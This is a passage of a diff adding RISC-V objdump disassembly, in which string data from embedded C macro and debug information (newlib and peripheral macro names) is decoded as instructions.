+    4f76:	5f58                	lw	a4,60(a4)
+    4f78:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    4f7c:	6320                	flw	fs0,64(a4)
+    4f7e:	2320                	fld	fs0,64(a4)
+    4f80:	4c4c2023          	sw	tp,1216(s8) # b4c0 <__stack_size+0xacc0>
+    4f84:	5f00                	lw	s0,56(a4)
+    4f86:	555f 4e49 5f54      	0x5f544e49555f
+    4f8c:	4146                	lw	sp,80(sp)
+    4f8e:	36315453          	0x36315453
+    4f92:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4f98:	3020                	fld	fs0,96(s0)
+    4f9a:	6678                	flw	fa4,76(a2)
+    4f9c:	6666                	flw	fa2,88(sp)
+    4f9e:	6666                	flw	fa2,88(sp)
+    4fa0:	6666                	flw	fa2,88(sp)
+    4fa2:	5566                	lw	a0,120(sp)
+    4fa4:	5f00                	lw	s0,56(a4)
+    4fa6:	555f 4e49 5f54      	0x5f544e49555f
+    4fac:	4146                	lw	sp,80(sp)
+    4fae:	34365453          	0x34365453
+    4fb2:	545f 5059 5f45      	0x5f455059545f
+    4fb8:	205f 6f6c 676e      	0x676e6f6c205f
+    4fbe:	6c20                	flw	fs0,88(s0)
+    4fc0:	20676e6f          	jal	t3,7b1c6 <__stack_size+0x7a9c6>
+    4fc4:	6e75                	lui	t3,0x1d
+    4fc6:	6e676973          	csrrsi	s2,0x6e6,14
+    4fca:	6465                	lui	s0,0x19
+    4fcc:	6920                	flw	fs0,80(a0)
+    4fce:	746e                	flw	fs0,248(sp)
+    4fd0:	4400                	lw	s0,8(s0)
+    4fd2:	414d                	li	sp,19
+    4fd4:	435f 5f48 4e45      	0x4e455f48435f
+    4fda:	4241                	li	tp,16
+    4fdc:	454c                	lw	a1,12(a0)
+    4fde:	4f5f 4646 3020      	0x302046464f5f
+    4fe4:	3378                	fld	fa4,224(a4)
+    4fe6:	0034                	addi	a3,sp,8
+    4fe8:	535f 5f43 494c      	0x494c5f43535f
+    4fee:	454e                	lw	a0,208(sp)
+    4ff0:	4d5f 5841 3620      	0x362058414d5f
+    4ff6:	0038                	addi	a4,sp,8
+    4ff8:	525f 4545 544e      	0x544e4545525f
+    4ffe:	525f 4e41 5f44      	0x5f444e41525f
+    5004:	454e                	lw	a0,208(sp)
+    5006:	5458                	lw	a4,44(s0)
+    5008:	7028                	flw	fa0,96(s0)
+    500a:	7274                	flw	fa3,100(a2)
+    500c:	2029                	jal	5016 <__stack_size+0x4816>
+    500e:	2828                	fld	fa0,80(s0)
+    5010:	7470                	flw	fa2,108(s0)
+    5012:	2972                	fld	fs2,280(sp)
+    5014:	3e2d                	jal	4b4e <__stack_size+0x434e>
+    5016:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    501c:	6572                	flw	fa0,28(sp)
+    501e:	6e65                	lui	t3,0x19
+    5020:	2e74                	fld	fa3,216(a2)
+    5022:	725f 6e61 5f64      	0x5f646e61725f
+    5028:	656e                	flw	fa0,216(sp)
+    502a:	7478                	flw	fa4,108(s0)
+    502c:	0029                	c.nop	10
+    502e:	4f4c                	lw	a1,28(a4)
+    5030:	474e                	lw	a4,208(sp)
+    5032:	4d5f 5841 5f20      	0x5f2058414d5f
+    5038:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    503e:	414d                	li	sp,19
+    5040:	5f58                	lw	a4,60(a4)
+    5042:	005f 5f5f 6f6c      	0x6f6c5f5f005f
+    5048:	5f736b63          	bltu	t1,s7,563e <__stack_size+0x4e3e>
+    504c:	72616873          	csrrsi	a6,0x726,2
+    5050:	6465                	lui	s0,0x19
+    5052:	2e28                	fld	fa0,88(a2)
+    5054:	2e2e                	fld	ft8,200(sp)
+    5056:	2029                	jal	5060 <__stack_size+0x4860>
+    5058:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    505e:	615f 6e6e 746f      	0x746f6e6e615f
+    5064:	7461                	lui	s0,0xffff8
+    5066:	2865                	jal	511e <__stack_size+0x491e>
+    5068:	72616873          	csrrsi	a6,0x726,2
+    506c:	6465                	lui	s0,0x19
+    506e:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    5074:	7566                	flw	fa0,120(sp)
+    5076:	636e                	flw	ft6,216(sp)
+    5078:	6974                	flw	fa3,84(a0)
+    507a:	5f286e6f          	jal	t3,8b66c <__stack_size+0x8ae6c>
+    507e:	565f 5f41 5241      	0x52415f41565f
+    5084:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    5088:	2929                	jal	54a2 <__stack_size+0x4ca2>
+    508a:	5f00                	lw	s0,56(a4)
+    508c:	4c5f4353          	0x4c5f4353
+    5090:	5645                	li	a2,-15
+    5092:	4c45                	li	s8,17
+    5094:	5f32                	lw	t5,44(sp)
+    5096:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+    509a:	5f45                	li	t5,-15
+    509c:	455a4953          	0x455a4953
+    50a0:	3120                	fld	fs0,96(a0)
+    50a2:	6d003133          	0x6d003133
+    50a6:	73756163          	bltu	a0,s7,57c8 <__stack_size+0x4fc8>
+    50aa:	0065                	c.nop	25
+    50ac:	535f 5f43 4258      	0x42585f43535f
+    50b2:	4c5f3553          	0x4c5f3553
+    50b6:	4250                	lw	a2,4(a2)
+    50b8:	4749                	li	a4,18
+    50ba:	4f5f 4646 4942      	0x494246464f5f
+    50c0:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
+    50c4:	37565f43          	fmadd.q	ft10,fa2,fs5,ft6,unknown
+    50c8:	4c5f 4250 4749      	0x474942504c5f
+    50ce:	4f5f 4646 4942      	0x494246464f5f
+    50d4:	48530047          	fmsub.s	ft0,ft6,ft5,fs1,rne
+    50d8:	5241                	li	tp,-16
+    50da:	4445                	li	s0,17
+    50dc:	495f 434e 554c      	0x554c434e495f
+    50e2:	4544                	lw	s1,12(a0)
+    50e4:	5a5f 4e4f 4d45      	0x4d454e4f5a5f
+    50ea:	5345                	li	t1,-15
+    50ec:	45474153          	0x45474153
+    50f0:	485f 205f 5f00      	0x5f00205f485f
+    50f6:	5f535953          	0x5f535953
+    50fa:	5954                	lw	a3,52(a0)
+    50fc:	4550                	lw	a2,12(a0)
+    50fe:	44465f53          	0x44465f53
+    5102:	535f 5445 0020      	0x205445535f
+    5108:	515f 4155 5f44      	0x5f444155515f
+    510e:	4f4c                	lw	a1,28(a4)
+    5110:	524f5757          	0x524f5757
+    5114:	2044                	fld	fs1,128(s0)
+    5116:	0030                	addi	a2,sp,8
+    5118:	525f 4e41 3444      	0x34444e41525f
+    511e:	5f38                	lw	a4,120(a4)
+    5120:	554d                	li	a0,-13
+    5122:	544c                	lw	a1,44(s0)
+    5124:	305f 2820 7830      	0x78302820305f
+    512a:	3665                	jal	4cd2 <__stack_size+0x44d2>
+    512c:	6436                	flw	fs0,76(sp)
+    512e:	0029                	c.nop	10
+    5130:	544e4957          	0x544e4957
+    5134:	4d5f 4e49 5f00      	0x5f004e494d5f
+    513a:	4e49                	li	t3,18
+    513c:	3854                	fld	fa3,176(s0)
+    513e:	545f 445f 4345      	0x4345445f545f
+    5144:	414c                	lw	a1,4(a0)
+    5146:	4552                	lw	a0,20(sp)
+    5148:	2044                	fld	fs1,128(s0)
+    514a:	5f00                	lw	s0,56(a4)
+    514c:	4552                	lw	a0,20(sp)
+    514e:	4e45                	li	t3,17
+    5150:	5f54                	lw	a3,60(a4)
+    5152:	4d45                	li	s10,17
+    5154:	5245                	li	tp,-15
+    5156:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
+    515a:	2859                	jal	51f0 <__stack_size+0x49f0>
+    515c:	7470                	flw	fa2,108(s0)
+    515e:	2972                	fld	fs2,280(sp)
+    5160:	2820                	fld	fs0,80(s0)
+    5162:	7028                	flw	fa0,96(s0)
+    5164:	7274                	flw	fa3,100(a2)
+    5166:	2d29                	jal	5780 <__stack_size+0x4f80>
+    5168:	5f3e                	lw	t5,236(sp)
+    516a:	6d65                	lui	s10,0x19
+    516c:	7265                	lui	tp,0xffff9
+    516e:	636e6567          	0x636e6567
+    5172:	2979                	jal	5610 <__stack_size+0x4e10>
+    5174:	5f00                	lw	s0,56(a4)
+    5176:	495f 544e 3233      	0x3233544e495f
+    517c:	545f 5059 5f45      	0x5f455059545f
+    5182:	205f 6f6c 676e      	0x676e6f6c205f
+    5188:	6920                	flw	fs0,80(a0)
+    518a:	746e                	flw	fs0,248(sp)
+    518c:	5f00                	lw	s0,56(a4)
+    518e:	475f 554e 4c43      	0x4c43554e475f
+    5194:	4b49                	li	s6,18
+    5196:	5f45                	li	t5,-15
+    5198:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    519c:	535f 4345 4954      	0x49544345535f
+    51a2:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
+    51a6:	4e41                	li	t3,16
+    51a8:	4c44                	lw	s1,28(s0)
+    51aa:	4e49                	li	t3,18
+    51ac:	00312047          	fmsub.s	ft0,ft2,ft3,ft0,rdn
+    51b0:	5f5f 4955 544e      	0x544e49555f5f
+    51b6:	465f 5341 3854      	0x38545341465f
+    51bc:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    51c2:	3020                	fld	fs0,96(s0)
+    51c4:	6678                	flw	fa4,76(a2)
+    51c6:	6666                	flw	fa2,88(sp)
+    51c8:	6666                	flw	fa2,88(sp)
+    51ca:	6666                	flw	fa2,88(sp)
+    51cc:	5566                	lw	a0,120(sp)
+    51ce:	5f00                	lw	s0,56(a4)
+    51d0:	4552                	lw	a0,20(sp)
+    51d2:	4e45                	li	t3,17
+    51d4:	2054                	fld	fa3,128(s0)
+    51d6:	695f 706d 7275      	0x7275706d695f
+    51dc:	5f65                	li	t5,-7
+    51de:	7470                	flw	fa2,108(s0)
+    51e0:	0072                	c.slli	zero,0x1c
+    51e2:	525f 4545 544e      	0x544e4545525f
+    51e8:	575f 5443 4d4f      	0x4d4f5443575f
+    51ee:	5f42                	lw	t5,48(sp)
+    51f0:	54415453          	0x54415453
+    51f4:	2845                	jal	52a4 <__stack_size+0x4aa4>
+    51f6:	7470                	flw	fa2,108(s0)
+    51f8:	2972                	fld	fs2,280(sp)
+    51fa:	2820                	fld	fs0,80(s0)
+    51fc:	7028                	flw	fa0,96(s0)
+    51fe:	7274                	flw	fa3,100(a2)
+    5200:	2d29                	jal	581a <__stack_size+0x501a>
+    5202:	5f3e                	lw	t5,236(sp)
+    5204:	656e                	flw	fa0,216(sp)
+    5206:	725f2e77          	0x725f2e77
+    520a:	6565                	lui	a0,0x19
+    520c:	746e                	flw	fs0,248(sp)
+    520e:	5f2e                	lw	t5,232(sp)
+    5210:	6f746377          	0x6f746377
+    5214:	626d                	lui	tp,0x1b
+    5216:	735f 6174 6574      	0x65746174735f
+    521c:	0029                	c.nop	10
+    521e:	5442                	lw	s0,48(sp)
+    5220:	324e                	fld	ft4,240(sp)
+    5222:	3320                	fld	fs0,96(a4)
+    5224:	0031                	c.nop	12
+    5226:	4e49                	li	t3,18
+    5228:	5f54                	lw	a3,60(a4)
+    522a:	4146                	lw	sp,80(sp)
+    522c:	36315453          	0x36315453
+    5230:	4d5f 4e49 2820      	0x28204e494d5f
+    5236:	492d                	li	s2,11
+    5238:	544e                	lw	s0,240(sp)
+    523a:	465f 5341 3154      	0x31545341465f
+    5240:	5f36                	lw	t5,108(sp)
+    5242:	414d                	li	sp,19
+    5244:	2058                	fld	fa4,128(s0)
+    5246:	202d                	jal	5270 <__stack_size+0x4a70>
+    5248:	2931                	jal	5664 <__stack_size+0x4e64>
+    524a:	4300                	lw	s0,0(a4)
+    524c:	4d5f5253          	0x4d5f5253
+    5250:	4d49                	li	s10,18
+    5252:	4950                	lw	a2,20(a0)
+    5254:	2044                	fld	fs1,128(s0)
+    5256:	3131                	jal	4e62 <__stack_size+0x4662>
+    5258:	5f00                	lw	s0,56(a4)
+    525a:	415f4353          	0x415f4353
+    525e:	4f49                	li	t5,18
+    5260:	505f 4952 5f4f      	0x5f4f4952505f
+    5266:	4544                	lw	s1,12(a0)
+    5268:	544c                	lw	a1,44(s0)
+    526a:	5f41                	li	t5,-16
+    526c:	414d                	li	sp,19
+    526e:	2058                	fld	fa4,128(s0)
+    5270:	5f003633          	0x5f003633
+    5274:	6e5f 6565 5f64      	0x5f6465656e5f
+    527a:	554e                	lw	a0,240(sp)
+    527c:	4c4c                	lw	a1,28(s0)
+    527e:	6f00                	flw	fs0,24(a4)
+    5280:	6666                	flw	fa2,88(sp)
+    5282:	6f746573          	csrrsi	a0,0x6f7,8
+    5286:	2866                	fld	fa6,88(sp)
+    5288:	5954                	lw	a3,52(a0)
+    528a:	4550                	lw	a2,12(a0)
+    528c:	4d2c                	lw	a1,88(a0)
+    528e:	4d45                	li	s10,17
+    5290:	4542                	lw	a0,16(sp)
+    5292:	2952                	fld	fs2,272(sp)
+    5294:	5f20                	lw	s0,120(a4)
+    5296:	625f 6975 746c      	0x746c6975625f
+    529c:	6e69                	lui	t3,0x1a
+    529e:	6f5f 6666 6573      	0x657366666f5f
+    52a4:	6f74                	flw	fa3,92(a4)
+    52a6:	2066                	fld	ft0,88(sp)
+    52a8:	5428                	lw	a0,104(s0)
+    52aa:	5059                	c.li	zero,-10
+    52ac:	2c45                	jal	555c <__stack_size+0x4d5c>
+    52ae:	4d20                	lw	s0,88(a0)
+    52b0:	4d45                	li	s10,17
+    52b2:	4542                	lw	a0,16(sp)
+    52b4:	2952                	fld	fs2,272(sp)
+    52b6:	5000                	lw	s0,32(s0)
+    52b8:	494c                	lw	a1,20(a0)
+    52ba:	45585f43          	0x45585f43
+    52be:	414d                	li	sp,19
+    52c0:	58525f43          	fmadd.s	ft10,ft4,ft5,fa1,unknown
+    52c4:	535f 554f 4352      	0x4352554f535f
+    52ca:	2045                	jal	536a <__stack_size+0x4b6a>
+    52cc:	3132                	fld	ft2,296(sp)
+    52ce:	4300                	lw	s0,0(a4)
+    52d0:	4d5f5253          	0x4d5f5253
+    52d4:	5049                	c.li	zero,-14
+    52d6:	3720                	fld	fs0,104(a4)
+    52d8:	5f00                	lw	s0,56(a4)
+    52da:	4c5f4353          	0x4c5f4353
+    52de:	5645                	li	a2,-15
+    52e0:	4c45                	li	s8,17
+    52e2:	5f34                	lw	a3,120(a4)
+    52e4:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+    52e8:	5f45                	li	t5,-15
+    52ea:	5341                	li	t1,-16
+    52ec:	20434f53          	0x20434f53
+    52f0:	3331                	jal	4ffc <__stack_size+0x47fc>
+    52f2:	0038                	addi	a4,sp,8
+    52f4:	535f 5f43 5254      	0x52545f43535f
+    52fa:	4341                	li	t1,16
+    52fc:	5f45                	li	t5,-15
+    52fe:	5645                	li	a2,-15
+    5300:	4e45                	li	t3,17
+    5302:	5f54                	lw	a3,60(a4)
+    5304:	414e                	lw	sp,208(sp)
+    5306:	454d                	li	a0,19
+    5308:	4d5f 5841 3820      	0x382058414d5f
+    530e:	0035                	c.nop	13
+    5310:	5746                	lw	a4,112(sp)
+    5312:	4952                	lw	s2,20(sp)
+    5314:	4554                	lw	a3,12(a0)
+    5316:	5f20                	lw	s0,120(a4)
+    5318:	5746                	lw	a4,112(sp)
+    531a:	4952                	lw	s2,20(sp)
+    531c:	4554                	lw	a3,12(a0)
+    531e:	5f00                	lw	s0,56(a4)
+    5320:	4954                	lw	a3,20(a0)
+    5322:	454d                	li	a0,19
+    5324:	5f52                	lw	t5,52(sp)
+    5326:	5f54                	lw	a3,60(a4)
+    5328:	7520                	flw	fs0,104(a0)
+    532a:	736e                	flw	ft6,248(sp)
+    532c:	6769                	lui	a4,0x1a
+    532e:	656e                	flw	fa0,216(sp)
+    5330:	2064                	fld	fs1,192(s0)
+    5332:	6f6c                	flw	fa1,92(a4)
+    5334:	676e                	flw	fa4,216(sp)
+    5336:	4300                	lw	s0,0(a4)
+    5338:	4d5f5253          	0x4d5f5253
+    533c:	5654                	lw	a3,44(a2)
+    533e:	4c41                	li	s8,16
+    5340:	3620                	fld	fs0,104(a2)
+    5342:	5f00                	lw	s0,56(a4)
+    5344:	705f 6361 656b      	0x656b6361705f
+    534a:	2064                	fld	fs1,192(s0)
+    534c:	5f5f 7461 7274      	0x727474615f5f
+    5352:	6269                	lui	tp,0x1a
+    5354:	7475                	lui	s0,0xffffd
+    5356:	5f65                	li	t5,-7
+    5358:	285f 5f28 705f      	0x705f5f28285f
+    535e:	6361                	lui	t1,0x18
+    5360:	5f64656b          	0x5f64656b
+    5364:	295f 0029 5f5f      	0x5f5f0029295f
+    536a:	4544                	lw	s1,12(a0)
+    536c:	4f56                	lw	t5,84(sp)
+    536e:	414c                	lw	a1,4(a0)
+    5370:	4954                	lw	a3,20(a0)
+    5372:	454c                	lw	a1,12(a0)
+    5374:	7428                	flw	fa0,104(s0)
+    5376:	7079                	c.lui	zero,0xffffe
+    5378:	2c65                	jal	5630 <__stack_size+0x4e30>
+    537a:	6176                	flw	ft2,92(sp)
+    537c:	2972                	fld	fs2,280(sp)
+    537e:	2820                	fld	fs0,80(s0)
+    5380:	7428                	flw	fa0,104(s0)
+    5382:	7079                	c.lui	zero,0xffffe
+    5384:	2965                	jal	583c <__stack_size+0x503c>
+    5386:	5f28                	lw	a0,120(a4)
+    5388:	755f 6e69 7074      	0x70746e69755f
+    538e:	7274                	flw	fa3,100(a2)
+    5390:	745f 2829 6f76      	0x6f762829745f
+    5396:	616c                	flw	fa1,68(a0)
+    5398:	6974                	flw	fa3,84(a0)
+    539a:	656c                	flw	fa1,76(a0)
+    539c:	7620                	flw	fs0,104(a2)
+    539e:	2064696f          	jal	s2,4b5a4 <__stack_size+0x4ada4>
+    53a2:	292a                	fld	fs2,136(sp)
+    53a4:	7628                	flw	fa0,104(a2)
+    53a6:	7261                	lui	tp,0xffff8
+    53a8:	2929                	jal	57c2 <__stack_size+0x4fc2>
+    53aa:	5f00                	lw	s0,56(a4)
+    53ac:	545f4353          	0x545f4353
+    53b0:	4e5a                	lw	t3,148(sp)
+    53b2:	4d41                	li	s10,16
+    53b4:	5f45                	li	t5,-15
+    53b6:	414d                	li	sp,19
+    53b8:	2058                	fld	fa4,128(s0)
+    53ba:	3032                	fld	ft0,296(sp)
+    53bc:	4300                	lw	s0,0(a4)
+    53be:	4148                	lw	a0,4(a0)
+    53c0:	5f52                	lw	t5,52(sp)
+    53c2:	494d                	li	s2,19
+    53c4:	204e                	fld	ft0,208(sp)
+    53c6:	0030                	addi	a2,sp,8
+    53c8:	4e5f 5745 494c      	0x494c57454e5f
+    53ce:	5f42                	lw	t5,48(sp)
+    53d0:	4c41                	li	s8,16
+    53d2:	4f4c                	lw	a1,28(a4)
+    53d4:	485f4143          	fmadd.s	ft2,ft10,ft5,fs1,rmm
+    53d8:	0020                	addi	s0,sp,8
+    53da:	7254                	flw	fa3,36(a2)
+    53dc:	6e61                	lui	t3,0x18
+    53de:	73696d73          	csrrsi	s10,0x736,18
+    53e2:	6e6f6973          	csrrsi	s2,0x6e6,30
+    53e6:	6548                	flw	fa0,12(a0)
+    53e8:	6461                	lui	s0,0x18
+    53ea:	7265                	lui	tp,0xffff9
+    53ec:	654c                	flw	fa1,12(a0)
+    53ee:	676e                	flw	fa4,216(sp)
+    53f0:	6874                	flw	fa3,84(s0)
+    53f2:	7320                	flw	fs0,96(a4)
+    53f4:	7274                	flw	fa3,100(a2)
+    53f6:	656c                	flw	fa1,76(a0)
+    53f8:	286e                	fld	fa6,216(sp)
+    53fa:	7254                	flw	fa3,36(a2)
+    53fc:	6e61                	lui	t3,0x18
+    53fe:	73696d73          	csrrsi	s10,0x736,18
+    5402:	6e6f6973          	csrrsi	s2,0x6e6,30
+    5406:	6548                	flw	fa0,12(a0)
+    5408:	6461                	lui	s0,0x18
+    540a:	7265                	lui	tp,0xffff9
+    540c:	2029                	jal	5416 <__stack_size+0x4c16>
+    540e:	0031202b          	0x31202b
+    5412:	535f 5f43 454d      	0x454d5f43535f
+    5418:	4c4d                	li	s8,19
+    541a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    541e:	4152                	lw	sp,20(sp)
+    5420:	474e                	lw	a4,208(sp)
+    5422:	2045                	jal	54c2 <__stack_size+0x4cc2>
+    5424:	3532                	fld	fa0,296(sp)
+    5426:	5f00                	lw	s0,56(a4)
+    5428:	535f 5041 2050      	0x20505041535f
+    542e:	7830                	flw	fa2,112(s0)
+    5430:	3130                	fld	fa2,96(a0)
+    5432:	3030                	fld	fa2,96(s0)
+    5434:	5f00                	lw	s0,56(a4)
+    5436:	495f4353          	0x495f4353
+    543a:	5650                	lw	a2,44(a2)
+    543c:	2036                	fld	ft0,328(sp)
+    543e:	3736                	fld	fa4,360(sp)
+    5440:	5f00                	lw	s0,56(a4)
+    5442:	6d5f 6e69 735f      	0x735f6e696d5f
+    5448:	7a69                	lui	s4,0xffffa
+    544a:	2865                	jal	5502 <__stack_size+0x4d02>
+    544c:	2978                	fld	fa4,208(a0)
+    544e:	7320                	flw	fs0,96(a4)
+    5450:	6174                	flw	fa3,68(a0)
+    5452:	6974                	flw	fa3,84(a0)
+    5454:	78282063          	0x78282063
+    5458:	0029                	c.nop	10
+    545a:	535f 5359 5f5f      	0x5f5f5359535f
+    5460:	5954                	lw	a3,52(a0)
+    5462:	4550                	lw	a2,12(a0)
+    5464:	20485f53          	0x20485f53
+    5468:	5f00                	lw	s0,56(a4)
+    546a:	4152                	lw	sp,20(sp)
+    546c:	444e                	lw	s0,208(sp)
+    546e:	3834                	fld	fa3,112(s0)
+    5470:	535f 4545 5f44      	0x5f444545535f
+    5476:	2032                	fld	ft0,264(sp)
+    5478:	3028                	fld	fa0,96(s0)
+    547a:	3178                	fld	fa4,224(a0)
+    547c:	3332                	fld	ft6,296(sp)
+    547e:	2934                	fld	fa3,80(a0)
+    5480:	5f00                	lw	s0,56(a4)
+    5482:	535f 5245 2052      	0x20525245535f
+    5488:	7830                	flw	fa2,112(s0)
+    548a:	3030                	fld	fa2,96(s0)
+    548c:	3034                	fld	fa3,96(s0)
+    548e:	4400                	lw	s0,8(s0)
+    5490:	414d                	li	sp,19
+    5492:	495f 5152 3320      	0x33205152495f
+    5498:	5f00                	lw	s0,56(a4)
+    549a:	4d5f4353          	0x4d5f4353
+    549e:	5345                	li	t1,-15
+    54a0:	45474153          	0x45474153
+    54a4:	505f 5341 4953      	0x49535341505f
+    54aa:	474e                	lw	a4,208(sp)
+    54ac:	3220                	fld	fs0,96(a2)
+    54ae:	5f5f0037          	lui	zero,0x5f5f0
+    54b2:	4352                	lw	t1,20(sp)
+    54b4:	28444953          	0x28444953
+    54b8:	73202973          	csrr	s2,0x732
+    54bc:	7274                	flw	fa3,100(a2)
+    54be:	6375                	lui	t1,0x1d
+    54c0:	2074                	fld	fa3,192(s0)
+    54c2:	5f5f 6168 6b63      	0x6b6361685f5f
+    54c8:	5f00                	lw	s0,56(a4)
+    54ca:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    54d0:	7274                	flw	fa3,100(a2)
+    54d2:	5f79                	li	t5,-2
+    54d4:	6361                	lui	t1,0x18
+    54d6:	7571                	lui	a0,0xffffc
+    54d8:	7269                	lui	tp,0xffffa
+    54da:	2865                	jal	5592 <__stack_size+0x4d92>
+    54dc:	6f6c                	flw	fa1,92(a4)
+    54de:	20296b63          	bltu	s2,sp,56f4 <__stack_size+0x4ef4>
+    54e2:	2828                	fld	fa0,80(s0)
+    54e4:	6f76                	flw	ft10,92(sp)
+    54e6:	6469                	lui	s0,0x1a
+    54e8:	2029                	jal	54f2 <__stack_size+0x4cf2>
+    54ea:	2930                	fld	fa2,80(a0)
+    54ec:	5f00                	lw	s0,56(a4)
+    54ee:	495f 544e 3233      	0x3233544e495f
+    54f4:	435f 6328 2029      	0x20296328435f
+    54fa:	23232063          	0x23232063
+    54fe:	4c20                	lw	s0,88(s0)
+    5500:	4100                	lw	s0,0(a0)
+    5502:	5f54                	lw	a3,60(a4)
+    5504:	4446                	lw	s0,80(sp)
+    5506:	20445743          	fmadd.s	fa4,fs0,ft4,ft4,unknown
+    550a:	322d                	jal	4e34 <__stack_size+0x4634>
+    550c:	5f00                	lw	s0,56(a4)
+    550e:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    5514:	414d                	li	sp,19
+    5516:	5f58                	lw	a4,60(a4)
+    5518:	3031                	jal	4d24 <__stack_size+0x4524>
+    551a:	455f 5058 5f5f      	0x5f5f5058455f
+    5520:	3420                	fld	fs0,104(s0)
+    5522:	3339                	jal	5230 <__stack_size+0x4a30>
+    5524:	0032                	c.slli	zero,0xc
+    5526:	5f5f 4e45 5f44      	0x5f444e455f5f
+    552c:	4544                	lw	s1,12(a0)
+    552e:	20534c43          	fmadd.s	fs8,ft6,ft5,ft4,rmm
+    5532:	5f00                	lw	s0,56(a4)
+    5534:	425f4353          	0x425f4353
+    5538:	49445f43          	fmadd.s	ft10,fs0,fs4,fs1,unknown
+    553c:	5f4d                	li	t5,-13
+    553e:	414d                	li	sp,19
+    5540:	2058                	fld	fa4,128(s0)
+    5542:	3835                	jal	4d7e <__stack_size+0x457e>
+    5544:	4400                	lw	s0,8(s0)
+    5546:	414d                	li	sp,19
+    5548:	545f 5f52 5253      	0x52535f52545f
+    554e:	464f5f43          	fmadd.q	ft10,ft10,ft4,fs0,unknown
+    5552:	2046                	fld	ft0,80(sp)
+    5554:	7830                	flw	fa2,112(s0)
+    5556:	3834                	fld	fa3,112(s0)
+    5558:	5f00                	lw	s0,56(a4)
+    555a:	475f 554e 4c43      	0x4c43554e475f
+    5560:	4b49                	li	s6,18
+    5562:	5f45                	li	t5,-15
+    5564:	5542                	lw	a0,48(sp)
+    5566:	4c49                	li	s8,18
+    5568:	4954                	lw	a3,20(a0)
+    556a:	5f4e                	lw	t5,240(sp)
+    556c:	41445453          	0x41445453
+    5570:	4752                	lw	a4,20(sp)
+    5572:	3120                	fld	fs0,96(a0)
+    5574:	5f00                	lw	s0,56(a4)
+    5576:	535f 424c 2046      	0x2046424c535f
+    557c:	7830                	flw	fa2,112(s0)
+    557e:	3030                	fld	fa2,96(s0)
+    5580:	3130                	fld	fa2,96(a0)
+    5582:	5300                	lw	s0,32(a4)
+    5584:	495f 4946 4f46      	0x4f464946495f
+    558a:	5f20                	lw	s0,120(a4)
+    558c:	4649                	li	a2,18
+    558e:	4649                	li	a2,18
+    5590:	4f46004f          	fnmadd.q	ft0,fa2,fs4,fs1,rne
+    5594:	4550                	lw	a2,12(a0)
+    5596:	5f4e                	lw	t5,240(sp)
+    5598:	414d                	li	sp,19
+    559a:	2058                	fld	fa4,128(s0)
+    559c:	3032                	fld	ft0,296(sp)
+    559e:	5f00                	lw	s0,56(a4)
+    55a0:	4649                	li	a2,18
+    55a2:	4944                	lw	s1,20(a0)
+    55a4:	2052                	fld	ft0,272(sp)
+    55a6:	3030                	fld	fa2,96(s0)
+    55a8:	3034                	fld	fa3,96(s0)
+    55aa:	3030                	fld	fa2,96(s0)
+    55ac:	0030                	addi	a2,sp,8
+    55ae:	4955                	li	s2,21
+    55b0:	544e                	lw	s0,240(sp)
+    55b2:	435f3233          	0x435f3233
+    55b6:	5f00                	lw	s0,56(a4)
+    55b8:	465f 544c 3231      	0x3231544c465f
+    55be:	5f38                	lw	a4,120(a4)
+    55c0:	5045                	c.li	zero,-15
+    55c2:	4f4c4953          	0x4f4c4953
+    55c6:	5f4e                	lw	t5,240(sp)
+    55c8:	205f 2e31 3239      	0x32392e31205f
+    55ce:	3935                	jal	520a <__stack_size+0x4a0a>
+    55d0:	3932                	fld	fs2,296(sp)
+    55d2:	3439                	jal	4fe0 <__stack_size+0x47e0>
+    55d4:	3334                	fld	fa3,96(a4)
+    55d6:	3738                	fld	fa4,104(a4)
+    55d8:	3332                	fld	ft6,296(sp)
+    55da:	3835                	jal	4e16 <__stack_size+0x4616>
+    55dc:	3335                	jal	5308 <__stack_size+0x4b08>
+    55de:	3530                	fld	fa2,104(a0)
+    55e0:	3935                	jal	521c <__stack_size+0x4a1c>
+    55e2:	34393737          	lui	a4,0x34393
+    55e6:	3532                	fld	fa0,296(sp)
+    55e8:	3438                	fld	fa4,104(s0)
+    55ea:	3239                	jal	4ef8 <__stack_size+0x46f8>
+    55ec:	65323337          	lui	t1,0x65323
+    55f0:	332d                	jal	531a <__stack_size+0x4b1a>
+    55f2:	4634                	lw	a3,72(a2)
+    55f4:	3231                	jal	4f00 <__stack_size+0x4700>
+    55f6:	0038                	addi	a4,sp,8
+    55f8:	505f 5f43 4150      	0x41505f43505f
+    55fe:	4854                	lw	a3,20(s0)
+    5600:	4d5f 5841 3420      	0x342058414d5f
+    5606:	6600                	flw	fs0,8(a2)
+    5608:	7361                	lui	t1,0xffff8
+    560a:	5f74                	lw	a3,124(a4)
+    560c:	7570                	flw	fa2,108(a0)
+    560e:	6374                	flw	fa3,68(a4)
+    5610:	7828                	flw	fa0,112(s0)
+    5612:	702c                	flw	fa1,96(s0)
+    5614:	2029                	jal	561e <__stack_size+0x4e1e>
+    5616:	2d28                	fld	fa0,88(a0)
+    5618:	282d                	jal	5652 <__stack_size+0x4e52>
+    561a:	2970                	fld	fa2,208(a0)
+    561c:	3e2d                	jal	5156 <__stack_size+0x4956>
+    561e:	775f 3c20 3020      	0x30203c20775f
+    5624:	3f20                	fld	fs0,120(a4)
+    5626:	5f20                	lw	s0,120(a4)
+    5628:	735f 6277 6675      	0x66756277735f
+    562e:	725f 5f28 4552      	0x45525f28725f
+    5634:	4e45                	li	t3,17
+    5636:	2c54                	fld	fa3,152(s0)
+    5638:	2820                	fld	fs0,80(s0)
+    563a:	6e69                	lui	t3,0x1a
+    563c:	2974                	fld	fa3,208(a0)
